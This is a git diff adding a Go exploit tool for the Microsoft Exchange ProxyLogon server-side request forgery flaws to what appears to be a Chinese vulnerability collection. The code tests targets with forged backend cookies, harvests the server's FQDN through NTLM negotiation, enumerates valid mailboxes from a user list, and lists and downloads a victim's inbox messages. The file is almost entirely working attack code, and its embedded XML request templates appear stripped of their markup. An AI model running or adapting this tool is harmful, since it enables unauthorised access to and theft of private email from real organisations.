diff --git "a/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go" "b/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go"
new file mode 100644
index 000000000..fa71a2a1e
--- /dev/null
+++ "b/PeiQi_Wiki/\346\234\215\345\212\241\345\231\250\345\272\224\347\224\250\346\274\217\346\264\236/Microsoft Exchange/POC/Microsoft Exchange \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214 CVE-2021-27065 26857 26858 27065.go"
@@ -0,0 +1,341 @@
+package main
+
+import (
+ "crypto/tls"
+ "flag"
+ "fmt"
+ "time"
+ "io"
+ "io/ioutil"
+ "net/http"
+ //"net/url"
+ "os"
+ "strings"
+ "regexp"
+ "encoding/base64"
+ "bufio"
+ "strconv"
+)
+
+//检测漏洞存在脚本
+func Verify(targetUrl string) bool {
+ tr := &http.Transport{
+ TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
+ }
+ client := &http.Client{Transport: tr}
+
+ req, _ := http.NewRequest("GET", targetUrl, nil)
+ req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
+ resp, _ := client.Do(req)
+ defer resp.Body.Close()
+ body, _ := ioutil.ReadAll(resp.Body)
+
+ if strings.Contains(string(body), "NegotiateSecurityContext") {
+ return true
+ } else {
+ return false
+ }
+}
+
+func append16(v []byte, val uint16) []byte {
+ return append(v, byte(val), byte(val>>8))
+}
+
+func append32(v []byte, val uint16) []byte {
+ return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
+}
+
+const (
+ negotiateUnicode = 0x0001 // Text strings are in unicode
+ negotiateOEM = 0x0002 // Text strings are in OEM
+ requestTarget = 0x0004 // Server return its auth realm
+ negotiateSign = 0x0010 // Request signature capability
+ negotiateSeal = 0x0020 // Request confidentiality
+ negotiateLMKey = 0x0080 // Generate session key
+ negotiateNTLM = 0x0200 // NTLM authentication
+ negotiateLocalCall = 0x4000 // client/server on same machine
+ negotiateAlwaysSign = 0x8000 // Sign for all security levels
+)
+
+//生成ntlm type1
+func Negotiate() []byte {
+ var ret []byte
+ flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
+
+ ret = append(ret, "NTLMSSP\x00"...) // protocol
+ ret = append32(ret, 1) // type
+ ret = append32(ret, uint16(flags)) // flags
+ ret = append16(ret, 0) // NT domain name length
+ ret = append16(ret, 0) // NT domain name max length
+ ret = append32(ret, 0) // NT domain name offset
+ ret = append16(ret, 0) // local workstation name length
+ ret = append16(ret, 0) // local workstation name max length
+ ret = append32(ret, 0) // local workstation name offset
+ ret = append16(ret, 0) // unknown name length
+ ret = append16(ret, 0) // ...
+ ret = append16(ret, 0x30) // unknown offset
+ ret = append16(ret, 0) // unknown name length
+ ret = append16(ret, 0) // ...
+ ret = append16(ret, 0x30) // unknown offset
+
+ return ret
+}
+
+//利用ntlm type2 获取有效信息 fqdn
+func Ntlminfo(targetUrl string) (fqdn string, domain string) {
+
+ //var fqdn string
+
+ tr := &http.Transport{
+ TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
+ }
+ client := &http.Client{Transport: tr}
+
+ req, _ := http.NewRequest("GET", targetUrl, nil)
+ req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
+ req.Header.Add("Accept","text/xml")
+ resp, _ := client.Do(req)
+
+ reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
+ reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
+ reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
+ reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
+ reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
+ reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
+
+ for _, values := range resp.Header {
+ type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
+ if type2 != "" {
+ decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
+ fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
+ domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
+ }
+ }
+ return
+}
+
+func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
+
+ //urlProxy, _ := url.Parse("http://127.0.0.1:8080")
+ tr := &http.Transport{
+ TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
+ // Proxy: http.ProxyURL(urlProxy),
+ }
+ client := &http.Client{Transport: tr}
+
+ req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
+ req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
+ req.Header.Add("Content-Type", "text/xml")
+ //fmt.Println(req)
+ resp2, _ := client.Do(req)
+ //defer resp2.Body.Close()
+ body2, _ := ioutil.ReadAll(resp2.Body)
+
+ return string(body2)
+}
+
+func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
+ //fmt.Println(userfile)
+ ufile, err := os.Open(userfile)
+ if err != nil {
+ fmt.Println("文件错误")
+ os.Exit(0)
+ }
+ defer ufile.Close()
+
+ fmt.Println("正确邮箱地址:\n")
+
+ br := bufio.NewReader(ufile)
+ for {
+ name, _, c := br.ReadLine()
+ if c == io.EOF {
+ fmt.Println("\n完成。")
+ break
+ }
+ if strings.Contains(string(name), "@") {
+ str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
+ if strings.Contains(str, string(name)) {
+ //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name)))
+ }else {
+ fmt.Println(string(name))
+ }
+ }else{
+ address := fmt.Sprintf("%s@%s", string(name), domainneame)
+ str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
+ if strings.Contains(str, string(name)) {
+ //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address))
+ }else {
+ fmt.Println(address)
+ }
+ }
+ time.Sleep(time.Duration(stime)*time.Second)
+ }
+}
+
+func makefile(fileName string, conntent string) {
+
+ f, err := os.Create(fileName)
+ defer f.Close()
+ if err != nil {
+ fmt.Println(err.Error())
+ } else {
+ _, _ = f.Write([]byte(conntent))
+ }
+}
+
+func main(){
+
+ var maddress string
+
+ host := flag.String("h", "", "必填,目标地址或域名")
+ filepath := flag.String("U", "", "选填,需要枚举的用户列表")
+ stime := flag.String("t", "1", "选填,请求延迟时间")
+ desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写")
+ list := flag.Bool("l", false, "选填,列出邮件列表")
+ emailadd := flag.String("u", "administrator", "选填,指定目标")
+ downl := flag.Bool("d", false, "选填,下载邮件")
+ flag.Parse()
+
+ targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host)
+ ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
+ postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
+ sleep_time, _ := strconv.Atoi(*stime)
+
+ if *host == "" {
+ fmt.Println("请输入目标IP地址")
+ os.Exit(0)
+ }
+
+ fmt.Println("检测漏洞存在中...")
+ if Verify(targetUrl) == true {
+ fmt.Println("漏洞存在...继续")
+ }else{
+ fmt.Println("漏洞不存在...END")
+ os.Exit(0)
+ }
+
+ mailnum := `
+
+
+
+
+ Default
+
+
+
+
+ %s
+
+
+
+
+
+`
+
+ maillist := `
+
+
+
+
+ AllProperties
+
+
+
+
+
+ %s
+
+
+
+
+
+`
+
+download := `
+
+
+
+
+ AllProperties
+ Text
+
+
+
+
+
+
+`
+
+ fqndstr, domainstr := Ntlminfo(ewsUrl)
+
+ fmt.Println("目标 FQND 为: ", fqndstr)
+
+ if *filepath != "" {
+ Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
+ }
+
+ if *desfqnd != "" {
+ fqndstr = *desfqnd
+ }
+
+ if strings.Contains(*emailadd, "@") {
+ maddress = *emailadd
+ }else{
+ maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
+ }
+
+ str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
+ //fmt.Println(str)
+
+ if strings.Contains(str, maddress) {
+ fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress))
+ }else if strings.Contains(str, "Success") {
+ reg01 := regexp.MustCompile(`()(.+)()`)
+ reg02 := regexp.MustCompile(`|`)
+ mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
+ fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum)
+ if *list == true {
+ if mnum != "0"{
+ contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))
+
+ reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
+ reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
+ reg_sub := regexp.MustCompile(`(?:)(.+?)(?:)`)
+
+ id := reg_id.FindAllStringSubmatch(contents, -1)
+ key := reg_key.FindAllStringSubmatch(contents, -1)
+ subject := reg_sub.FindAllStringSubmatch(contents, -1)
+
+ for i := 0; i < 5 ; i++{
+ fmt.Println("---------")
+ fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1])
+ fmt.Println()
+ }
+
+ if *downl == true {
+ for i := 0; i < 5 ; i++{
+ fmt.Println("正在下载第 ", i," 份邮件")
+ contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
+ makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
+ }
+ fmt.Println("下载完成")
+ }
+
+ }else{
+ fmt.Println("目标邮箱无邮件!")
+ }
+ }
+ }else{
+ fmt.Println("默认 FQND 无效请更换其他服务器")
+ }
+}